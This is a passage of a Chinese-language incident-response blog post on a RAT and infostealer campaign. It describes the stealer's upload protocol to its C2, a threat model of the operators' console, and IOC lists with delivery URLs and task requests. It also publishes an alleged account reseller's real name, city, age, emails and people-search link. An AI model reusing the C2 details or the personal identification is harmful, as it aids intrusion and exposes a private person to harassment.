| 浏览器 | Chromium 系 Profile、Firefox | Cookie、登录数据库、Web Data、浏览器状态,以及处理受保护记录所需的密钥材料 |
| 消息与社交应用 | Telegram、Discord | 桌面端和 Web会话、Token 及相关加密材料 |
| 游戏与启动器 | Steam、Minecraft 启动器和客户端、其他游戏平台状态 | Token、Cookie、启动器身份信息和可复用账号配置 |
| 钱包与浏览器扩展 | 桌面钱包、加密货币扩展、MFA 和密码管理器扩展 | 本地可访问的钱包或扩展数据,其中可能包含凭据、密钥或账号访问材料 |
| VPN、远程访问与传输工具 | VPN 客户端、AnyDesk、FileZilla、Ngrok | 可能暴露进入受害者环境另一条路径的配置和连接材料 |
| 用户与主机数据 | 截图、剪贴板内容、文档、图片、OBS 相关数据、系统信息 | 不属于单一应用的上下文、秘密、文件和主机元数据 |
那个熟悉的第三端口
当所有 collector 最终汇聚成一个共享 ZIP 归档后,下一个问题自然就是:这个压缩包会被发到哪里?答案是同一台 C2 主机上的另一条连接:
145.63.134[.]94:1488
信息窃取器把这个地址和服务交给 getaddrinfo,建立 TCP 连接,发送受害者标识,等待 auth_ok,然后把 ZIP 作为一个带长度前缀的 Buffer 发出去。线上协议简单得几乎有点让人意外:
connect
→ stealer;<host-id>\n
← auth_ok
→ 8-byte big-endian ZIP length
→ complete ZIP buffer
→ close
它传输的是一个完整结果包,而不是每偷一个文件就发一次单独请求。发送完成后,信息窃取器会清理并退出。常驻 implant 仍然是整个行动里长期存在的那一部分;这个模块则是为一项具体任务而来,收集数据,把结果送回去,然后消失。
到了这里,三个端口已经对应三种非常不同的工作:406 负责控制,408 负责模块投递,1488 负责信息窃取器结果回传。
当一条 OSINT 线索重新出现在恶意软件里
然后,就是这个端口号本身。
1488。
我之前已经花了很大一部分 OSINT 调查,去追那个非常有辨识度的 Handle
gitlerzov1488gitler
现在,同一个数字又出现在信息窃取器自己的上传路径里。一条线索来自公开基础设施和个体调查;另一条来自一个单独捕获到的恶意软件组件。第一次,OSINT 这一侧的东西重新出现在了恶意软件实现本身。这个重合单独拿出来当然还不算证明,但也很难再把它当成又一个纯装饰性的巧合直接丢掉。和此前的域名、邮箱、仓库和 Handle 跳转放在一起,它让调查的两半明显靠得更近了。
Minecraft 这里也出现了一个更小的呼应。公开个人有 Minecraft 相关内容,而信息窃取器又明确收集 Minecraft 启动器和客户端账号状态。Minecraft 本身当然太常见,不可能单凭这一点识别某个人;但在这个上下文里,它又成了公开个人与恶意软件目标选择恰好发生交叉的一个点。
第二轮分析改变了什么
第一轮分析已经完成了当时事件响应真正需要的工作:识别 foothold、持久化、C2,以及遏制过程中真正重要的主机痕迹。后来的模块捕获,则补上了那块一直让我觉得奇怪的缺失的拼图。
C2 可以按需下发一个信息窃取器。窃取通过 mutex 逻辑和常驻 implant 建立代码级联系,收集应用和会话数据,把结果打成 ZIP,然后通过自己的独立通道把归档发回去。这套架构也解释了为什么第一个可执行文件看起来是一只能力完整的 RAT,却没有包含我本以为应该能找到的完整信息窃取逻辑。到了这一步,这场事件已经不再像“一个 RAT 顺便偷点东西”。它更像一套模块化工作流:持久访问、任务分发、能力投递、数据收集和结果上传,都是可以按需组合的独立部分。
Daniel,你只是个消费者,对吧?
第一部分已经提到了 Steam 沦陷后果里最奇怪的一块。一个叫 661SAVAGEEE 的陌生用户被加成了我的好友,还加入了我的家庭共享。我第一次轮换凭据的时候并没有注意到这层关系。后来,这个账号使用了我的 ARC Raiders 访问权限,开挂,然后被封;因为游戏是我的账号拥有的,处罚也一路波及到了我。我的 Embark 显示名还被改成了 661SAVAGE。
清理时,我几乎在其他所有地方都在想着“持久化”这件事:Gmail 权限、受信任设备、OAuth 授权、GitHub PAT 和 SSH Key、活跃会话、账号恢复方式。Steam 几乎是唯一一个我没有问出同类问题的平台。结果偏偏就栽在这个遗漏上lol
这才是关键,使用这份访问权限的人,并不需要 RAT 继续留在我的主机上。恶意软件只需要有足够时间,在服务端偷到或者创建某种可复用状态。一旦家庭共享关系已经建立,后续滥用完全可以脱离主机独立继续。
当我第一次看到那个意外出现的 Steam 好友时,我的反应很直接:这会不会就是某个操作员?但这个说法没持续多久。661SAVAGEEE 看起来很新,而且完全可以随手丢掉,正是那种拿着别人游戏权限乱用、用完就烧掉的账号。真正更有价值的线索,是 Embark 名字被改了。使用我账号的人,主动把我的显示名换成了 661SAVAGE。这给了我一个直接来自事件本身、已经确认的 Handle 变体,所以我根本不需要自己猜和手动生成 Handle 变种。而且和 661SAVAGEEE 不同,661SAVAGE 这个 Handle 在互联网上的匹配并不稀少。
Steam 主页 76561198769671376 看起来就是这个个体背后的主账号。它使用 661SAVAGE 这个名字,并且在 8 月 12 日收到了一次游戏封禁,时间和事件发生期非常接近。它的好友列表小得离谱,我查看时只有三个账号,而其中两个,dnovoa1997 和 ITzSavage510.ttv,同样有游戏封禁记录。
值得注意的是,661SAVAGE 和 dnovoa1997 恰好在同一天被封。我很难相信这纯粹只是巧合。不过,即便这个很小的好友圈里几个账号有不少相似之处,我也不会直接认为它们全都是 661SAVAGE 的小号。还有一个简单得多的解释:开挂的人,本来就很可能和其他开挂的人一起玩,啧啧。
更广泛的 661SAVAGE 个体则一致得多。我在 Steam、直播 Profile 和 TikTok 上都找到了同样的个人品牌,全部指向一个以射击游戏为主的游戏玩家与主播身份。这不是什么特别困难的 OSINT 挑战;一旦拿到这个更短的 Handle,这个个体自己留下的线索其实相当多。
TikTok 主页又补上了一个新发现,显示名是 661SAVAGE,但真正的账号 Handle 是 danieln979。起初,我对 661SAVAGE 的身份设想还比较普通:他大概只是黑号的下游消费者。因此,一次性账号也好,开挂也好,账号用完就丢也好,乃至糟糕的 OPSEC,这些就都说得通了。
然后,我找到了他的商店。这个线索甚至比本文草稿本身还新。在 661savage.store,同一个个人品牌变成了一个商店。其中一个商品页面尤其具体:661savage.store/product.html?id=NFA%20ACCOUNTS
这一下直接改变了对他角色的判断。一个人如果只是收到一个被盗账号,然后拿去开挂,看起来更像消费者;但一个经营商店、销售廉价 ARC Raiders 黑号的人,就明显更靠近同一套网络犯罪经济里的经销层。不管库存里的每一个账号究竟来自哪里,这已经是账号分发与经销,而不是普通消费。而它和我这次事件的重合,甚至具体得有点好笑:
我的主机被感染
↓
我的 Steam 访问被攻陷
↓
661SAVAGEEE 被加入 Family Sharing
↓
ARC Raiders 被滥用并封禁
↓
我的 Embark 名字被改成 661SAVAGE
↓
661SAVAGE 的商店以 $2 出售 ARC Raiders NFA 账号
“消费者”这个假设已经不太说得通了。更合理的角色,是一个小规模转售者或经销商,也可能他同时会自己使用或测试正在出售的同类库存。在这种规模下,“消费者”和“卖家”根本不必是两拨人,一个操作员完全可以身兼两职。
店面让这个个体变得更有意思,所以我带着一个不同的问题重新回去翻社交痕迹。这时我已经不只是问:谁在用 661SAVAGE 这个名字? 我更想知道,这个 Handle 有没有泄露出更个人化的信息。
有的。我找到了两个使用相同昵称和头像模式的 TikTok 账号:
661SAVAGE → @danieln979
661SAVAGE → @danielnovoa82
第二个 Handle,danielnovoa82,尤其有用,因为它直接暴露出了一个很像姓氏的字符串:Novoa。然后,我把这两个 TikTok Handle 和 661SAVAGE 那个小得可怜的 Steam 好友列表里的一个账号放到一起:
Tiktok Handle: danieln979
Tiktok Handle: danielnovoa82
Steam Profile: dnovoa1997
这时候,反复出现的线索已经很难忽略了。dnovoa1997 并不是用户名枚举里随便搜出来的一个随机结果;它和 661SAVAGE 的 Steam 主页有直接好友关系,而且还是仅有的三个好友之一。把这些 Handle 拼到一起后,一个很明显的身份线索出现了:
Daniel Novoa.
我假装成一个对他商店感兴趣的买家,加入了他的 Discord 服务器。这样我就有机会查看他的 Discord 资料卡,而里面又泄露出了额外的信息,并帮助我交叉验证前面的一些判断。
详细的 Discord 资料卡暴露了两个额外的平台主页:他的 PSN Profile,以及一个 Steam 用户名 danielnovoa440848。这让 Daniel Novoa 更像是他的真实姓名。而且更重要的是,danielnovoa440848 恰好指向起初我怀疑的 661SAVAGE Steam 主页。
661SAVAGE 这个 Handle 本身又提供了一条线索。661 是美国加州的电话区号,而 661SAVAGE 的 Steam 主页位置也写着加州。两者任何一个当然都可能是随便写的,但到了这里,这个个体已经持续表现出相当糟糕的隐私意识和 OPSEC。他甚至嚣张到直接把我的 Embark 显示名改成自己的通用 Handle。从 OPSEC 角度看,这已经差到有点喜感了。
同样的模式还出现在其他地方。他在多个平台之间重复使用头像和名字,店面也使用相同个人品牌。把这些放在一起,一旦知道该找什么,这个个体实在谈不上难以追踪。
继续搜索逐渐形成的 Daniel Novoa + California + 661 组合后,我在 Bakersfield 一带找到了一个非常接近的公共记录候选人。地点符合 661 区域,年龄也符合 dnovoa1997 里的 1997 线索。一个缓存搜索结果里,这个人仍显示为 28 岁,而当前记录已经是 29 岁,看起来连最近刚过生日这件事也能对上。
最后,我购买了这份报告。更多信息出来之后,完美印证了我的判断:
好家伙,这下都对上了。尤其是邮箱 dnovoa1997@gmail.com 和 danielnovoa440848@gmail.com,分别和他的两个 Steam 账号保持一致;手机号也关联到了 Steam 账号 661savageeeeeeeeeee。
消费者、商家,还是两者都是?
这个商店改变了最重要的结论。刚开始追这条分支时,我以为自己看到的是链条最末端附近的人:一个不知道怎么拿到我 Steam 访问权限的作弊玩家,然后很开心地把它用完就丢了。
后来,他主动加了我好友,还问我需不需要黑号。我立刻意识到,这是一个绝对不能错过的取证机会。我很开心地回复了他,然后他就这么直接给我发了一个可执行文件!
不得不说,我当时手都有点抖。我把样本下载下来,上传到 VirusTotal,同时马上自己开始手工分析。结果让我心情有点复杂。它不是另一只 RAT 或后门,也不是最初那个信息窃取器。相反,这个可执行文件本质上是一个 Steam 令牌导入和登录缓存工具。它接收外部提供的 Steam 访问凭据,解析令牌和 SteamID,停止 Steam,把对应的本地登录状态写进去,然后重新启动 Steam。实际效果就是:把给定的 Steam 会话导入到另一台机器上并复用。
所以,这并不是我刚看到样本时短暂期待的那个“大奖”。但从另一个角度,它反而比预想中更有用。在这之前,我对他角色的判断主要来自商店行为、重复使用的身份、游戏账号,以及我自己的 Steam 访问被滥用的方式。现在,他本人亲手把一个专门用来消费和复用 Steam 访问权限的工具交给了我。这让他从“很可能是下游销售者/经销商”,变成了一个我可以更有把握放进这部分网络犯罪组织经济链条里的人。
他看起来仍然位于恶意软件行动技术核心的下游。我没有任何直接证据,可以把他和 GitHub 基础设施、C2 服务器、域名注册或恶意软件开发连接起来。但到了这里,“下游”显然已经不等于“无关”,更别说这个信息窃取组织是境外势力,他和美国的对手合作,这可不是小打小闹了。
最初的操作员并不需要亲自登录他们偷到的每一个账号。一旦凭据、令牌和认证会话变成库存,其他人就可以把它们打包、转售、导入、测试、拿去开挂,或者干脆几美元一个地烧掉。而现在,他们让其中一种实现这些事情的工具,直接落到了我手里。
对他们的基础设施和行动做威胁建模
到这个时候,这场事件早就已经不再只是一次单独的入侵。整个格局大得多了。我最开始只有一个恶意 GitHub 仓库和一台被攻陷的主机。一路追下来,线索扩展成了伪造的社会证明、反复出现的推广账号、一次性仓库门面、Staging 基础设施、一只持久化 RAT、按需下发的信息窃取器、被盗认证材料,以及最终那个把游戏账号当成廉价库存的下游市场。
当我对这个网络犯罪团伙的基础设施和行动已经有了更完整的理解后,我很难不开始从威胁建模的角度去看整套东西。我根本不需要反向入侵,在合法边界之内,已经有很多事情可以给他们制造麻烦、干扰他们的一部分行动,让他们日子更难过。
他们也可以成为受害者
前面的虚假受害者已经暴露了控制平面一个很有意思的特点:它相当信任客户端自己提交的身份和主机信息。在操作员那一侧,这些值至少有一部分总得被存储、搜索或者显示出来。这自然让我开始想:他们到底有多信任自己的“受害者”?
如果这是一场获得授权的反击,我首先会想知道,当攻击者可控的内容跨过这条边界,最终进入操作员界面时,会发生什么。主机名、用户名、进程信息、任务结果以及其他受害者元数据,从一台正常感染主机发过来时可能看起来毫无威胁;但从红队视角看,每一个由不受信任客户端提供的字段,都是输入面。
任务分发协议也带来了同一类授权问题。受害者ID 和任务 ID 都只是普通的应用对象,这会很自然地让对象所有权和跨客户端隔离变成值得关注的地方。一个客户端能不能引用属于另一个客户端的对象?持有关系到底检查得有多严?这些标识符是被当成秘密,还是仅仅只是数据库里的 Key?
然后还有信息窃取器的上传路径。1488 端口会接受一个由完全不可信终端生成的归档,再把它送进后面的某套存储和处理流程。归档解析、解压缩、文件命名、存储配额,以及之后操作员侧对这些文件的处理,全都引入了新的信任边界。如果这是一次获得授权的打击,这整条流水线都值得看。
操作员界面本身可能还要更有意思。例如,Electron 在桌面管理客户端中相当流行,包括进攻性安全工具和 C2 前端。和普通浏览器不同,Electron 应用有可能把带有特权的桌面功能暴露给渲染器。如果设计得不好,一个注入问题的影响可能会严重得多,尤其是在渲染器可以接触特权 API、不安全的预加载桥梁或 Node.js 能力时。最坏的情况下,一段由恶意“受害者”控制的文本,只是被管理控制台渲染出来,就可能一路变成操作员自己主机上的代码执行。如果一套 C2 基础设施最后以这种方式翻车,那还挺讽刺的:不是有人去攻击载荷,而是 implant 回传了某个东西,而操作员自己的界面对它信任得太多。
而公开基础设施又增加了一层攻击面。当用户与暴露在外的服务,例如 Windows RPC,Staging 和 C2 服务器返回了详细的服务响应。这些服务很适合做指纹识别,而每一个没有必要暴露的服务,也都意味着又多了一份可能出错的软件、配置和认证面。
攻击者并不会因为自己是攻击者,就自动免于拥有攻击面。
代码质量的不一致也进一步强化了这种印象。原生 implant 明显比 PowerShell Staging 逻辑中的一些部分更成熟;信息窃取器一边有精心实现的收集器,另一边又有脆弱的解析和网络假设;GitHub 运营规模不小,但同样暴露出了自动化模式和糟糕的 OPSEC。它并不像一个被完美工程化的单一平台。它更像是一组质量参差不齐的组件、操作员和基础设施拼起来的东西,而这大概反而更接近现实里的网络犯罪行动。
当我不再把这场行动看成“一个恶意软件”,而是把它看成一整套系统以后,它自己的信任边界随之变得清晰起来:
| 区域 | 潜在攻击面 | 思路 | 可能影响 |
|---|---|---|---|
| 受害者元数据 | 客户端提交的用户名、主机名等字段 | 输入处理、输出编码、存储,以及操作员界面中的渲染 | 存储型注入或管理界面被攻陷 |
| 基于 Electron 的操作员客户端 | 可能具备特权的桌面渲染器 | 检查不可信内容与 Electron/Node 特权能力之间的隔离 | XSS 的影响远超普通浏览器场景,甚至可能升级为操作员侧代码执行 |
| Tasking API | 作为应用对象使用的受害者ID 和任务 ID | 对象所有权、授权边界和跨客户端隔离 | 访问或操纵其他受害者的 Task |
| 信息窃取器上传 | 敌对终端向 1488 端口上传归档 | 归档解析、文件处理、解压、命名、配额和后续处理 | 解析器故障、不安全文件处理、资源耗尽,或者后端处理链被攻陷 |
| 互联网暴露服务 | 基础设施上暴露的多个服务 | 认证、补丁水平、不必要暴露和配置质量 | 给他们自己的服务器增加额外入口 |
| GitHub 运营 | 重复的命名、推广、Fork 和仓库模式 | 基础设施映射和账号聚类 | 更快识别,并推动平台大规模清理 |
| 域名与托管 | 被重复使用的基础设施和行动关系 | 供应商归因、滥用举报和基础设施关联 | 域名暂停、托管中断,以及失去可重复利用的基础设施 |
| 下游账号市场 | 公开 Storefront、Discord 社区和重复身份 | 保存证据,并向受影响平台举报 | 销售渠道被移除,提高变现被盗访问的成本 |
| 行动 OPSEC | 重复使用的 Handle、头像、基础设施和命名规则 | 关联本应彼此分离的行动组成部分 | 把原本想分开的基础设施和个体重新归到一起 |
并不是所有这些路径都需要真的去利用漏洞,才能让他们难受。有时候最有效的反制其实无聊得多:保存证据、关联基础设施、举报账号、通知供应商、发布 IOC,让他们每一个原本想随手丢弃的资产都变得更贵、更难替换。
让那些“一次性”的部分不再那么一次性
对他们的基础设施做威胁建模很有意思,如果是在一次授权行动里,我确实会有不少地方想亲自去看。但在现实里,我真正能做、而且最有价值的“反击”,远没有在攻击者面板里找到一个 RCE 那么刺激,但我可以把他们留下来的关系保存下来。
一个恶意仓库 URL 是近乎一次性的,仓库一删,链接就变成 404。但仓库本身并不是孤立的:给它点过 Star 的账号、保存了历史的 Fork、同一批账号推广过的其他仓库、重复出现的构造模式、域名、基础设施,以及最终和同一行动联系起来的恶意软件,全部都围在它周围。删掉一个页面,并不会抹掉它周围的图。这改变了我看待滥用举报的方式。与其只举报一个明显恶意的仓库,然后等它消失,我可以把周围整个族交出去:仓库关系、账号关系、提交历史、重复的诱饵模式、基础设施,以及多条分别独立通向已确认恶意行为的分支。
同样的原则也适用于下游。一个像 661SAVAGEEE 这样的一次性 Steam 账号,本身没什么意思。但这个账号一路带出了长期存在的 661SAVAGE 个体、销售黑号的商店、Discord 社区、重复使用的游戏身份、现实身份相关证据,以及最终由他本人直接发给我的 Steam 访问工具。
最开始看起来只是一个作弊玩家,很开心地用别人账号开挂;最后却变成了我观察被盗认证材料背后部分转售经济的一扇窗口。保存证据,连接关系,暴露基础设施,举报族而不是一个个孤立 Artifact。
从一个仓库,到一整个生态
到最后,我一路追下来的路径大概变成了这样:
恶意 GitHub 诱饵
↓
推广 / Fork / 刷量网络
↓
Staging 基础设施
↓
持久化 RAT 与 Tasking
↓
按需下发的信息窃取器模块
↓
凭据、会话、应用状态
↓
下游账号访问
↓
Reseller / Storefront
↓
访问导入与复用
↓
最终使用、滥用和封禁
最开始只是一个恶意 GitHub 仓库,最后却扩展成了一幅大得多的图景:一次性身份、推广基础设施、Staging 服务器、恶意软件组件、被盗认证材料、转售渠道,以及最后用来消费这些访问权限的工具。
第一部分主要是在解决一件事:把攻击者赶出我的机器。第二部分,则是在追所有没有随着他们离开主机而一起消失的东西。仓库变成了一张网络;基础设施变成了一个族;RAT 变成了模块化系统的一部分;此前缺失的窃取能力,最终以一个单独的信息窃取器出现;账号滥用又带出了 661SAVAGE,随后是商店、Discord 社区、重复身份,以及最后由本人直接交到我手里的 Steam 访问工具。最后那个样本尤其有用,让我更具体地看到了生态下游的一面:被盗、或者从外部获得的 Steam 访问权限,是如何被导入并作为一种产品重复利用的。
到了这里,这场事件已经不再像是“一个攻击者攻陷了一台主机”。它更像一条由松散连接的组件和人员组成的链条,每一部分负责整个流程里的不同环节。我仍然没能做到穷举链条里的每一个人、每一台服务器、每一笔交易。但我已经不再需要把所有缺失拼图都找到,才能理解自己究竟撞上了什么。我从一台被攻陷的主机和一个恶意 GitHub 仓库开始,最后却画出了这个生态的一部分。
说真的,我当然还是更希望这两堂课,是从别人的案例研究里学来的,而非发生在自己身上。但如果这件事反正已经发生了,我至少希望留下来的证据,比这份尴尬活得更久。
附录:IOC 以及调查跳转点
RedHive 核心基础设施
| 类型 | 指示 | 角色与上下文 |
|---|---|---|
| IPv4 | 192.162.199[.]184 |
Payload delivery / staging infrastructure |
| IPv4 | 145.63.134[.]94 |
RAT C2, module delivery and Stealer exfiltration |
| Domain | shells[.]su |
PowerShell delivery, payload staging, screenshot collection |
| Domain | gitbase[.]su |
Parallel malicious GitHub delivery infrastructure |
| Historical domain | verificator[.]cc |
Earlier infrastructure associated with 192.162.199[.]184 |
| Historical domain | genesis-hub[.]cc |
Earlier infrastructure associated with the same hosting cluster |
RedHive 恶意软件样本
| 样本 | 类型与角色 | 特征值 |
|---|---|---|
1.exe |
Initial x64 RAT / persistent loader | SHA-256 97c6e8a58c8ca86af979fa64a516a09cdc48c6dd61fc9dd027c4af715165fb66 |
RuntimeBroker.exe |
Byte-identical persistence copy of 1.exe |
Same SHA-256 as 1.exe |
Stealer 1.0.2 |
On-demand x64 Stealer DLL delivered by the RAT |
SHA-256 `9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32 |
投递 URL 与地址
hxxps://shells[.]su/encrypted/api.ps1
hxxps://shells[.]su/encrypted/1.zip
hxxps://shells[.]su/encrypted/7za.exe
/start.php?pc=<computer-name>&country=<country>
/screen.php?pc=<computer-name>&country=<country>
/end.php?pc=<computer-name>&country=<country>
/powershell/Genesis.ps1
网络协议指示
145.63.134[.]94:406 WebSocket control channel
145.63.134[.]94:408 HTTP task / module delivery
145.63.134[.]94:1488 RedHive Stealer result upload
C2 字符串
ready;
getinfo
ping
pong
task
createtask
closetask
task_id;
task_done;
update
窃取器协议字符串
stealer;
auth_ok
任务分发
GET 145.63.134[.]94:408/task/Stealer
Stealer / 1.0.2
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
主机持久化
Payload path:
C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
Scheduled tasks:
\Microsoft\Location\MicrosoftUpdaterMachineCore
\Microsoft\Windows\EDP\ScheduledDef
\Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate
\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins
Registry configuration:
HKCU\Software\Microsoft\Event
Value: System
Mutexes:
Global\RuntimeBrokerAds
Global\StealerLib
PowerShell 投递特征
Custom UA:
aizkHkKtfNdzmaycOJfjhDPaNLCVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs
恶意 GitHub 仓库
MillipedeLoad/Adobe-Acrobat-Pro
GulfMouseVice/crypto-miner-gpu-cpu-hashrate
Binaryunenhance/instagram-liker-bot-auto-like-software-download
HyperIllusionistTap/Whale-Tracker-Analytics
基础设施注册
krassavchik13370@gmail[.]com
↳ observed registration contact for shells[.]su
gitlerzov1488gitler@gmail[.]com
↳ reported contact associated with gitbase[.]su
gitlerzov1488gitler-cmd
↳ historical GitHub owner
gitlerzov1488gitler-cmd/RUST-2026-A-I-M
661SAVAGE 下游生态跳转
Primary persona:
661SAVAGE
661SAVAGEEE
Cross-platform handles:
danieln979
danielnovoa82
dnovoa1997
danielnovoa440848
savage2135
TTV-661SAVAGE
Infrastructure / profiles:
661savage[.]store
steamcommunity.com/profiles/76561198769671376
psnprofiles.com/.../TTV-661SAVAGE
tiktok.com/@danieln979
tiktok.com/@danielnovoa82
twitch.tv/661savage
discord.gg/zznvhmhRDC
下游访问注入工具
Filename:
archievable-v0.3.0-setup.exe
Installer SHA-256:
9cf38614bb4cac3f3e80d480ff94e4b02bfe6f8672a95f765a44d0ee5d4475d7
Extracted archievable.exe SHA-256:
55b5c2bd34ec14f6a16850526d6e7649ce0218fa6c9fcd1663bcf9880d16d42e
Application ID:
shop.archievable.desktop
Account store:
%APPDATA%\shop.archievable.desktop\accounts.json
引用
先前的威胁情报
https://forum.kasperskyclub.ru/topic/472004-virus-updaterexe
https://phishdestroy.io/domain/verificator.cc/
https://gridinsoft.com/online-virus-scanner/url/verificator-cc
https://phishdestroy.io/domain/genesis-hub.cc/
https://gridinsoft.com/online-virus-scanner/url/genesis_hub-cc
https://www.shodan.io/host/192.162.199.184
https://www.shodan.io/host/145.63.134.94
https://unit42.paloaltonetworks.com/openclaw-ai-supply-chain-risk/
相关的社交媒体主页
https://steamcommunity.com/profiles/76561198769671376
https://steamcommunity.com/profiles/76561198665194900
https://psnprofiles.com/trophies/24888-ark-survival-ascended/TTV-661SAVAGE
https://www.tiktok.com/@danieln979
https://www.tiktok.com/@danielnovoa82
https://www.twitch.tv/661savage
https://www.spokeo.com/Daniel-Novoa/California/Bakersfield/p7770855703706138216526571
https://www.tiktok.com/@gitlerzov1488
书写文章时存活的仓库
https://github.com/Binaryunenhance/instagram-liker-bot-auto-like-software-download
https://github.com/dev-Warrior65621/Adobe-Acrobat-Pro
https://github.com/mad-Plasma-Mind9/crypto-miner-gpu-cpu-hashrate